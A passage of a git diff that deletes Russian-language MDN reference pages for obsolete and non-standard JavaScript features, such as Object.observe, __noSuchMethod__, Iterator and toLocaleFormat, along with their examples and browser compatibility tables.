Функция callback вызывается каждый раз, когда с массивом arr происходят какие-либо изменения. Параметром в неё передаётся массив со всеми произошедшими изменениями в порядке их возникновения.

- -
-

Изменения через методы объекта {{jsxref("Array")}}, например, посредством метода {{jsxref("Array.prototype.pop()")}}, будут зарегистрированы как изменения типа "splice". Присваивание по индексу, в результате которого размер массива не изменится, может быть зарегистрировано, как изменение типа "update".

-
- -

Примеры

- -

Пример: журналирование всех трёх типов событий

- -
var arr = ['a', 'b', 'c'];
-
-Array.observe(arr, function(changes) {
-  console.log(changes);
-});
-
-arr[1] = 'B';
-// [{type: 'update', object: <arr>, name: '1', oldValue: 'b'}]
-
-arr[3] = 'd';
-// [{type: 'splice', object: <arr>, index: 3, removed: [], addedCount: 1}]
-
-arr.splice(1, 2, 'beta', 'gamma', 'delta');
-// [{type: 'splice', object: <arr>, index: 1, removed: ['B', 'c', 'd'], addedCount: 3}]
-
- -

Спецификации

- -

Черновое предложение к обсуждению для ECMAScript 7.

- -

Совместимость с браузерами

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatChrome("36")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html b/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html deleted file mode 100644 index af33b9da2f..0000000000 --- a/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Date.prototype.toLocaleFormat() -slug: Web/JavaScript/Reference/Global_Objects/Date/toLocaleFormat -tags: - - Date - - JavaScript - - Method - - Non-standard - - Prototype - - Reference -translation_of: Archive/Web/JavaScript/Date.toLocaleFormat ---- -
{{JSRef}} {{non-standard_header}}
- -

Нестандартный метод toLocaleFormat() преобразует дату в строку, используя указанное форматирование. Объект {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} является совместимой со стандартами альтернативой при форматировании дат. Так же смотрите новую версию метода {{jsxref("Date.prototype.toLocaleDateString()")}}.

- -

Синтаксис

- -
dateObj.toLocaleFormat(formatString)
- -

Параметры

- -
-
formatString
-
Строка формата в той же форме, что ожидается функцией C strftime().
-
- -

Описание

- -

Метод toLocaleFormat() обеспечивает больший контроль программного обеспечения над форматированием генерируемых даты и/или времени. Названия месяцев и дней недели локализуются с помощью локали операционной системы. Однако, порядок дней и месяцев и другие задачи локализации автоматически не обрабатываются, так как эти аспекты контролируете вы. Вы должны позаботиться о том, что строка формата была правильно локализована в соответствии с настройками системы пользователя. Знайте, что используемая локаль не обязательно совпадает с локалью браузера.

- -

Разработчики расширений и XULRunner должны знать, что загрузку строки формата их файлов .dtd или .properties через URI chrome://somedomain/locale/somefile.ext нужно избегать, поскольку файлы .dtd/.properties и метод toLocaleFormat() не обязательно используют одну и ту же локаль, из-за чего результат может выглядеть странно, неоднозначно или даже нечитаемо.

- -

Также обратите внимание, что поведение локали зависит от платформы и пользователь может настроить эту локаль, так что использование системной локали для выбора строки формата в некоторых случаях может быть даже неадекватным. Вы можете рассмотреть возможность использования более общих методов toLocale* объекта {{jsxref("Global_Objects/Date", "Date")}}, либо написать свою собственную локализацию даты, используя для её отображения методы get* объекта {{jsxref("Global_Objects/Date", "Date")}}.

- -

Примеры

- -

Пример: использование метода toLocaleFormat()

- -
var today = new Date();
-var date = today.toLocaleFormat('%A, %B %e, %Y'); // плохой пример
-
- -

В примере выше метод toLocaleFormat() возвращает строку вида "Wednesday, October 3, 2007". обратите внимание, что строка формата в данном примере не локализуется должным образом, что приводит к проблемам, описанным выше.

- -

Библиотеки

- -

Вы можете использовать библиотеку DateJS, если {{jsxref("Date.prototype.toLocaleDateString","Date.prototype.toLocaleDateString()")}} недоступен:

- -
if (!Date.prototype.toLocaleFormat) {
-    (function() {
-        Date.prototype.toLocaleFormat = function(formatString) {
-            return this.format(formatString);
-        };
-    }());
-}
- -

Спецификации

- -

Не является частью какой-либо спецификации. Реализована в JavaScript 1.6.

- -

Совместимость с браузерами

- -
{{Compat("javascript.builtins.Date.toLocaleFormat")}}
- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/global_objects/function/arity/index.html b/files/ru/web/javascript/reference/global_objects/function/arity/index.html deleted file mode 100644 index 8bcd00363b..0000000000 --- a/files/ru/web/javascript/reference/global_objects/function/arity/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Function.arity -slug: Web/JavaScript/Reference/Global_Objects/Function/arity -tags: - - Function - - JavaScript - - Obsolete - - Property - - Unimplemented -translation_of: Archive/Web/JavaScript/Function.arity ---- -
{{JSRef}}{{Obsolete_Header}}
- -

Свойство arity использовалось для возврата количества ожидаемых функцией аргументов, однако, оно больше не существует и было заменено свойством {{JSxRef("Function.prototype.length")}}.

- -

Спецификации

- -

Реализовано в JavaScript 1.2. Устарело в JavaScript 1.4.

- -

Совместимость с браузерами

- - - -

{{Compat("javascript.builtins.Function.arity")}}

- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html b/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html deleted file mode 100644 index e3a972e9e2..0000000000 --- a/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Function.prototype.isGenerator() -slug: Web/JavaScript/Reference/Global_Objects/Function/isGenerator -tags: - - Function - - JavaScript - - Method - - Non-standard -translation_of: Archive/Web/JavaScript/Function.isGenerator ---- -
- {{JSRef("Global_Objects", "Function")}} {{non-standard_header}}
-

Сводка

-

Метод isGenerator() определяет, является ли функция генератором.

-

Синтаксис

-
fun.isGenerator()
-

Описание

-

Метод isGenerator() определяет, является ли функция fun генератором. Он является частью раннего предложения Harmony, но не был включён в спецификацию ECMAScript 6.

-

Примеры

-
function f() {}
-
-function g() {
-  yield 42;
-}
-
-console.log('f.isGenerator() = ' + f.isGenerator()); // f.isGenerator() = false
-console.log('g.isGenerator() = ' + g.isGenerator()); // g.isGenerator() = true
-
-

Спецификации

-

Не является частью какой-либо спецификации. Реализована в JavaScript 1.8.6.

-

Совместимость с браузерами

-
- {{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop("5.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("5.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-

Смотрите также

- diff --git a/files/ru/web/javascript/reference/global_objects/iterator/index.html b/files/ru/web/javascript/reference/global_objects/iterator/index.html deleted file mode 100644 index 0a55a44af9..0000000000 --- a/files/ru/web/javascript/reference/global_objects/iterator/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Iterator -slug: Web/JavaScript/Reference/Global_Objects/Iterator -tags: - - JavaScript - - Reference -translation_of: Archive/Web/Iterator ---- -
{{jsSidebar("Objects")}}
- -
 
- -
-

Non-standard. The Iterator function is a SpiderMonkey-specific feature, and will be removed at some point. For future-facing usages, consider using for..of loops and the iterator protocol.

-
- -

The Iterator function returns an object which implements legacy iterator protocol and iterates over enumerable properties of an object.

- -

Syntax

- -
Iterator(object, [keyOnly])
- -

Parameters

- -
-
object
-
Object to iterate over properties.
-
keyOnly
-
If keyOnly is truthy value, Iterator.prototype.next returns property_name only.
-
- -

Description

- -

Returns Iterator instance that iterates over objectIterator instance returns [property_name, property_value] array for each iteration if keyOnly is falsy,  otherwise, if keyOnly is truthy, it returns property_name for each iteration.  If object is the Iterator instance or Generator instance, it returns object itself.

- -

Properties

- -
-
Iterator.prototype[@@iterator]
-
Returns a function that returns iterator object.
-
- -

Methods

- -
-
Iterator.prototype.next
-
Returns next item in the [property_name, property_value] format or property_name only. It throws StopIteration if there are no more items.
-
- -

Examples

- -

Iterating over properties of an object

- -
var a = {
-  x: 10,
-  y: 20,
-};
-var iter = Iterator(a);
-console.log(iter.next()); // ["x", 10]
-console.log(iter.next()); // ["y", 20]
-console.log(iter.next()); // throws StopIteration
- -

Iterating over properties of an object with legacy destructuring for-in statement

- -
var a = {
-  x: 10,
-  y: 20,
-};
-
-for (var [name, value] in Iterator(a)) {
-  console.log(name, value);   // x 10
-                              // y 20
-}
- -

Iterating with for-of

- -
var a = {
-  x: 10,
-  y: 20,
-};
-
-for (var [name, value] of Iterator(a)) {  // @@iterator is used
-  console.log(name, value);   // x 10
-                              // y 20
-}
- -

Iterates over property name

- -
var a = {
-  x: 10,
-  y: 20,
-};
-
-for (var name in Iterator(a, true)) {
-  console.log(name);   // x
-                       // y
-}
- -

Passing Generator instance

- -
function* f() {
-  yield 'a';
-  yield 'b';
-}
-var g = f();
-
-console.log(g == Iterator(g)); // true
-
-for (var v in Iterator(g)) {
-  console.log(v);   // a
-                    // b
-}
- -

Passing Iterator instance

- -
var a = {
-  x: 10,
-  y: 20,
-};
-
-var i = Iterator(a);
-
-console.log(i == Iterator(i)); // true
- -

Specifications

- -

Non-standard. Not part of any current standards document

- -

Browser compatibility

- -

Not supported. Used to be in Firefox in versions prior to Firefox 57.

- -

See also

- - diff --git a/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html b/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html deleted file mode 100644 index 14260df0d5..0000000000 --- a/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Number.toInteger() -slug: Web/JavaScript/Reference/Global_Objects/Number/toInteger -tags: - - JavaScript - - Method - - Non-standard - - Number - - Obsolete -translation_of: Archive/Web/JavaScript/Number.toInteger ---- -
{{JSRef("Global_Objects", "Number")}} {{obsolete_header("33")}} {{non-standard_header}}
- -

Сводка

-

Метод Number.toInteger() использовался для вычисления переданного значения и преобразования его в целое число, но его реализация была удалена.

-

Если целевым значением является {{jsxref("Global_Objects/NaN", "NaN")}}, {{jsxref("Global_Objects/null", "null")}} или {{jsxref("Global_Objects/undefined", "undefined")}}, возвращается 0. Если целевым значением является false, возвращается 0, а если true, то 1.

- -

Синтаксис

-
Number.toInteger(number)
- -

Параметры

-
-
number
-
Значение, преобразуемое в целое число.
-
- -

Примеры

- -

Пример: использование toInteger

-

Вывод на некоторых тестовых значениях:

-
Number.toInteger(0.1);     // 0
-Number.toInteger(1);       // 1
-Number.toInteger(Math.PI); // 3
-Number.toInteger(null);    // 0
-
- -

Спецификации

- - -

Совместимость с браузерами

-
{{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}Firefox с версии 16 по версию 32{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}Firefox с версии 16 по версию 32{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Смотрите также

- diff --git a/files/ru/web/javascript/reference/global_objects/object/count/index.html b/files/ru/web/javascript/reference/global_objects/object/count/index.html deleted file mode 100644 index 7308b40b0f..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/count/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Object.prototype.__count__ -slug: Web/JavaScript/Reference/Global_Objects/Object/count -tags: - - JavaScript - - Object - - Obsolete - - Property - - Prototype - - Reference -translation_of: Archive/Web/JavaScript/Object.count ---- -
{{JSRef("Global_Objects", "Object")}} {{obsolete_header("2")}}
- -

Сводка

-

Свойство __count__ использовалось для хранения количества перечисляемых свойств объекта, но было удалено.

- -

Синтаксис

-
obj.__count__
- -

Пример

-
{ 1: 1 }.__count__              // 1
-[].__count__                    // 0
-[1].__count__                   // 1
-[1, /* дыра */, 2, 3].__count__ // 3
-
- -

Спецификации

-

Не является частью какой-либо спецификации.

- -

Совместимость с браузерами

-
{{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Смотрите также

- diff --git a/files/ru/web/javascript/reference/global_objects/object/eval/index.html b/files/ru/web/javascript/reference/global_objects/object/eval/index.html deleted file mode 100644 index e6b8e3668f..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/eval/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Object.prototype.eval() -slug: Web/JavaScript/Reference/Global_Objects/Object/eval -tags: - - JavaScript - - Method - - Object - - Obsolete - - Prototype -translation_of: Archive/Web/JavaScript/Object.eval ---- -
- {{JSRef("Global_Objects", "Object")}} {{obsolete_header}}
-

Сводка

-

Метод Object.eval() использовался для вычисления строки JavaScript-кода в контексте объекта, однако, был удалён.

-

Синтаксис

-
obj.eval(string)
-

Параметры

-
-
- string
-
- Любая строка, представляющая выражение, инструкцию или последовательность инструкций JavaScript. Выражение может содержать переменые и свойства существующих объектов.
-
-

Описание

-

Метод eval больше не используется как метод объекта. Вместо него используйте глобальную функцию {{jsxref("Global_Objects/eval", "eval()")}}.

-

Спецификации

-

Не является частью какой-либо спецификации.

-

Совместимость с браузерами

-
- {{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-

Смотрите также

- diff --git a/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html b/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html deleted file mode 100644 index 1947d51f73..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Object.getNotifier() -slug: Web/JavaScript/Reference/Global_Objects/Object/getNotifier -translation_of: Archive/Web/JavaScript/Object.getNotifier ---- -
{{JSRef}} {{obsolete_header}}
- -

Метод Object.getNotifer() использовался для создания объекта, который позволяет синтетически инициировать изменение, но не рекомендуется  и удаляется в браузерах.

- -

Синтаксис

- -
Object.getNotifier(obj)
- -

Параметры

- -
-
obj
-
Объект для извлечения уведомителя.
-
- -

Возращаемое значение

- -

Объект увидомителя, связанный с объектом, передаваемым в функцию.

- -

Описание

- -

Уведомитель используется для запуска искусственных изменений, которые будут обнаружены Object.observe().

- -

Спецификации

- -

Strawman proposal specification.

- -

Совместимость с браузерами

- -
- - -

{{Compat("javascript.builtins.Object.getNotifier")}}

-
- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html b/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html deleted file mode 100644 index 6f0827751f..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Object.prototype.__noSuchMethod__ -slug: Web/JavaScript/Reference/Global_Objects/Object/noSuchMethod -tags: - - JavaScript - - Non-standard - - Object - - Property - - Prototype - - Reference -translation_of: Archive/Web/JavaScript/Object.noSuchMethod ---- -
{{JSRef("Global_Objects", "Object")}} {{non-standard_header}}
- -
Хотя свойство __noSuchMethod__ и нестандартно, спецификация ECMAScript Harmony (ES6) содержит объект {{jsxref("Proxy")}}, с помощью которого вы можете сделать всё тоже самое, что и при использовании этого свойством (и даже больше).
- -

Сводка

-

Свойство __noSuchMethod__ ссылается на функцию, выполняющуюся каждый раз при вызове на объекте несуществующего метода.

- -

Синтаксис

-
obj.__noSuchMethod__ = fun
- -

Параметры

-
-
fun
-
Функция, имеющая вид
-
-
function(id, args) { . . . }
-
-
id
-
Имя вызванного несуществующего метода
-
args
-
Массив аргументов, переданный в метод
-
-
-
- -

Описание

-

По умолчанию, при попытке вызвать не существующий в объекте метод, будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. Это поведение можно обойти, определив функцию __noSuchMethod__ в качестве члена объекта. Функция принимает два аргумента, первый является именем метода, который попытались вызвать, а второй — массивом аргументов, которые были переданы в метод при его вызове. Второй аргумент является настойщим массивом (то есть, он наследуется через цепочку прототипов от {{jsxref("Array.prototype")}}), а не массивоподобным объектом arguments.

-

Если данный метод не может быть вызван, либо по причине того, что он установлен в {{jsxref("Global_Objects/undefined", "undefined")}} по умолчанию, либо удалён, либо вручную установлен в не-функцию, движок JavaScript вернётся к выбрасыванию исключения {{jsxref("Global_Objects/TypeError", "TypeError")}}.

- -

Примеры

- -

Пример: простая проверка свойства __noSuchMethod__

-
var o = {
-    __noSuchMethod__: function(id, args) { console.log(id, '(' + args.join(', ') + ')'); }
-};
-
-o.foo(1, 2, 3);
-o.bar(4, 5);
-o.baz();
-
-// Вывод
-// foo (1, 2, 3)
-// bar (4, 5)
-// baz ()
-
- -

Пример: использование свойства __noSuchMethod__ для симуляции множественного наследования

-

Ниже показан пример кода, реализующего примитивную форму множественного наследования.

-
// Не работает с множественным наследованием объектов в качестве родителей
-function noMethod(name, args) {
-    var parents = this.__parents_;
-
-    // Пройдёмся по всем родителям
-    for (var i = 0; i < parents.length; i++) {
-        // Если нашли функцию в родителе, вызовем её
-        if (typeof parents[i][name] == 'function') {
-            return parents[i][name].apply(this, args);
-        }
-    }
-
-    // Если мы здесь, метод не был найден
-    throw new TypeError;
-}
-
-// Используется для добавления родителя при множественном наследовании
-function addParent(obj, parent) {
-    // Если объект ещё не инициализирован, инициализируем его
-    if (!obj.__parents_) {
-        obj.__parents_ = [];
-        obj.__noSuchMethod__ = noMethod;
-    }
-
-    // Добавляем родителя
-    obj.__parents_.push(parent);
-}
-
-

Ниже показан пример использования этой идеи.

-
// Пример первого базового класса
-
-function NamedThing(name) {
-    this.name = name;
-}
-
-NamedThing.prototype = {
-    getName: function() { return this.name; },
-    setName: function(newName) { this.name = newName; }
-}
-
-// Пример второго базового класса
-
-function AgedThing(age){
-    this.age = age;
-}
-
-AgedThing.prototype = {
-    getAge: function() { return this.age; },
-    setAge: function(age) { this.age = age; }
-}
-
-// Дочерний класс. Наследуется от NamedThing и AgedThing, а также определяет свойство address
-
-function Person(name, age, address) {
-    addParent(this, NamedThing.prototype);
-    NamedThing.call(this, name);
-    addParent(this, AgedThing.prototype);
-    AgedThing.call(this, age);
-    this.address = address;
-}
-
-Person.prototype = {
-    getAddr: function() { return this.address; },
-    setAddr: function(addr) { this.address = addr; }
-}
-
-var bob = new Person('Боб', 25, 'Нью-Йорк');
-
-console.log('getAge лежит ' + (('getAge' in bob) ? 'в' : 'не в') + ' объекте bob');
-console.log('возраст Боба: ' + bob.getAge());
-console.log('getName лежит ' + (('getName' in bob) ? 'в' : 'не в') + ' объекте bob');
-console.log('имя Боба: ' + bob.getName());
-console.log('getAddr лежит ' + (('getAddr' in bob) ? 'в' : 'не в') + ' объекте bob');
-console.log('адрес Боба: ' + bob.getAddr());
-
-

Вывод примера будет следующим:

-
getAge лежит не в объекте bob
-возраст Боба: 25
-getName лежит не в объекте bob
-имя Боба: Боб
-getAddr лежит в объекте bob
-адрес Боба: Нью-Йорк
-
- -

Спецификации

-

Не является частью какой-либо спецификации.

- -

Совместимость с браузерами

-
{{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatGeckoDesktop("1.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("1.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
diff --git a/files/ru/web/javascript/reference/global_objects/object/observe/index.html b/files/ru/web/javascript/reference/global_objects/object/observe/index.html deleted file mode 100644 index 25fe9c879b..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/observe/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: Object.observe() -slug: Web/JavaScript/Reference/Global_Objects/Object/observe -tags: - - ECMAScript7 - - Experimental - - JavaScript - - Method - - Object - - Reference -translation_of: Archive/Web/JavaScript/Object.observe ---- -
{{JSRef("Global_Objects", "Object")}}
- -

Сводка

- -

Метод Object.observe() используется для асинхронного обзора изменений в объекте. Он предоставляет поток изменений в порядке их возникновения.

- -

Синтаксис

- -
Object.observe(obj, callback)
- -

Параметры

- -
-
obj
-
Обозреваемый объект.
-
callback
-
Функция, вызываемая при возникновении изменений в объекте, принимает следующий аргумент: -
-
changes
-
Массив объектов, представляющих одно изменение. Объекты с изменениями содержат следующие свойства: -
    -
  • name: имя изменённого свойства.
  • -
  • object: изменённый объект после изменения.
  • -
  • type: строка, указывающая тип произошедшего изменения. Может принимать одно из значений: "add", "update" или "delete".
  • -
  • oldValue: только для типов "update" и "delete". Значение до изменения.
  • -
-
-
-
-
- -

Описание

- -

Функция callback вызывается каждый раз при возникновении изменений в объекте obj с массивом всех изменений в порядке их возникновения.

- -

Примеры

- -

Пример: журналирование всех трёх типов изменений

- -
var obj = {
-  foo: 0,
-  bar: 1
-};
-
-Object.observe(obj, function(changes) {
-  console.log(changes);
-});
-
-obj.baz = 2;
-// [{name: 'baz', object: <obj>, type: 'add'}]
-
-obj.foo = 'hello';
-// [{name: 'foo', object: <obj>, type: 'update', oldValue: 0}]
-
-delete obj.baz;
-// [{name: 'baz', object: <obj>, type: 'delete', oldValue: 2}]
-
- -

Пример: привязка данных

- -
// Пользовательская модель
-var user = {
-  id: 0,
-  name: 'Брендан Айк',
-  title: 'М-р.'
-};
-
-// Создаёт приветствие для пользователя
-function updateGreeting() {
-  user.greeting = 'Здравствуйте, ' + user.title + ' ' + user.name + '!';
-}
-updateGreeting();
-
-Object.observe(user, function(changes) {
-  changes.forEach(function(change) {
-    // Любое изменение имени или обращения обновит привествие
-    if (change.name === 'name' || change.name === 'title') {
-      updateGreeting();
-    }
-  });
-});
-
- -

 

- -

Custom change type

- -
// A point on a 2D plane
-var point = {x: 0, y: 0, distance: 0};
-
-function setPosition(pt, x, y) {
-  // Performing a custom change
-  Object.getNotifier(pt).performChange('reposition', function() {
-    var oldDistance = pt.distance;
-    pt.x = x;
-    pt.y = y;
-    pt.distance = Math.sqrt(x * x + y * y);
-    return {oldDistance: oldDistance};
-  });
-}
-
-Object.observe(point, function(changes) {
-  console.log('Distance change: ' + (point.distance - changes[0].oldDistance));
-}, ['reposition']);
-
-setPosition(point, 3, 4);
-// Distance change: 5
- -

 

- -

Спецификации

- -

Черновое предложение к обсуждению для ECMAScript 7.

- -

Совместимость с браузерами

- -
 
- - - -

{{Compat("javascript.builtins.Object.observe")}}

- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/global_objects/object/parent/index.html b/files/ru/web/javascript/reference/global_objects/object/parent/index.html deleted file mode 100644 index d9e5c1ddd9..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/parent/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Object.prototype.__parent__ -slug: Web/JavaScript/Reference/Global_Objects/Object/parent -tags: - - JavaScript - - Object - - Obsolete - - Property - - Prototype -translation_of: Archive/Web/JavaScript/Object.parent ---- -
- {{JSRef("Global_Objects", "Object")}} {{obsolete_header("2")}}
-

Сводка

-

Свойство __parent__ использовалось для указания контекста объекта, но было удалено.

-

Синтаксис

-
obj.__parent__
-

Описание

-

Для объектов верхнего уровня, это, например, окно.

-

Спецификации

-

Не является частью какой-либо спецификации.

-

Совместимость с браузерами

-
- {{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-

Смотрите также

- diff --git a/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html b/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html deleted file mode 100644 index bf3ef676f3..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/unobserve/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Object.unobserve() -slug: Web/JavaScript/Reference/Global_Objects/Object/unobserve -translation_of: Archive/Web/JavaScript/Object.unobserve ---- -
{{JSRef}} {{obsolete_header}}
- -

Метод Object.unobserve() удаляет наблюдатель, который был добавлен с помощью {{jsxref("Object.observe()")}}. Вы можете использовать {{jsxref("Proxy")}} вместо данного метода.

- -

Синтаксис

- -
Object.unobserve(obj, callback)
- -

Параметры

- -
-
obj
-
Объект, за которым необходимо прекратить наблюдение.
-
callback
-
Ссылка на наблюдатель, который нужно остановить на obj.
-
- -

Возаращаемое значение

- -

Указанный объект.

- -

Описание

- -

Object.unobserve() вызывается после {{jsxref("Object.observe()")}}, чтобы удалить наблюдатель на объекте.

- -

В callback нужно передавать ссылку на функцию, которая не является анонимной. Если вызвать Object.unobserve() с анонмной функцией в callback, то ни один наблюдатель не будет удалён.

- -

Примеры

- -

Удаление наблюдателя с объекта

- -
var obj = {
-  foo: 0,
-  bar: 1
-};
-
-var observer = function(changes) {
-  console.log(changes);
-}
-
-Object.observe(obj, observer);
-​
-obj.newProperty = 2;
-// [{name: 'newProperty', object: <obj>, type: 'add'}]
-
-Object.unobserve(obj, observer);
-
-obj.foo = 1;
-// callback не был вызван
- -

Вызов с анонимной функцией

- -
var person = {
-  name: 'Ahmed',
-  age: 25
-};
-
-Object.observe(person, function(changes) {
-  console.log(changes);
-});
-
-person.age = 40;
-// [{name: 'age', object: <obj>, oldValue: 25, type: 'update'}]
-
-Object.unobserve(person, function(changes) {
-  console.log(changes);
-});
-
-person.age = 63;
-// [{name: 'age', object: <obj>, oldValue: 40, type: 'update'}]
-// callback был вызван
-
- -

Спецификации

- -

Strawman proposal specification.

- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.Object.unobserve")}}

-
- -

See also

- - diff --git a/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html b/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html deleted file mode 100644 index e862406f3d..0000000000 --- a/files/ru/web/javascript/reference/global_objects/object/unwatch/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Object.prototype.unwatch() -slug: Web/JavaScript/Reference/Global_Objects/Object/unwatch -tags: - - JavaScript - - Method - - Non-standard - - Object - - Prototype -translation_of: Archive/Web/JavaScript/Object.unwatch ---- -
- {{JSRef("Global_Objects", "Object")}}
-
-

Предупреждение: обычно, при возможности, вам следует избегать использования unwatch() и {{jsxref("Object.prototype.watch", "watch()")}}. Эти два метода реализованы только в Gecko, и они, в основном, предназначены только для отладочных целей. Кроме того, использование точек наблюдения серьёзно бъёт по производительности, что особенно заметно при использовании их на глобальных объектах, например window. Обычно вместо них вы можете использовать сеттеры и геттеры или прокси. Для более подробной информации смотрите раздел {{anch("Browser_compatibility", "Совместимость с браузерами")}}.

-
-

Сводка

-

Метод unwatch() удаляет точку наблюдения, установленную методом {{jsxref("Object.prototype.watch", "watch()")}}.

-

Синтаксис

-
obj.unwatch(prop)
-

Параметры

-
-
- prop
-
- Имя свойства объекта, чьи изменения вы хотите прекратить отслеживать.
-
-

Описание

-

Отладчик JavaScript имеет функциональность, аналогичную предоставляемой этим методом, а также и другие возможности отладки. Информацию по отладчику можно получить в статье про Venkman.

-

По умолчанию, этот метод наследуется каждым объектом, произошедшим от {{jsxref("Global_Objects/Object", "Object")}}.

-
-

Примечание: причина, по которой метод unwatch() принимает единственным параметром только имя свойства prop в том, что для метода {{jsxref("Object.watch", "watch()")}} разрешён только один обработчик.

-
-

Примеры

-

Смотрите метод {{jsxref("Object.watch", "watch()")}}.

-

Спецификации

-

Не является частью какой-либо спецификации. Реализована в JavaScript 1.2.

-

Совместимость с браузерами

-
- {{CompatibilityTable}}
-
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
-
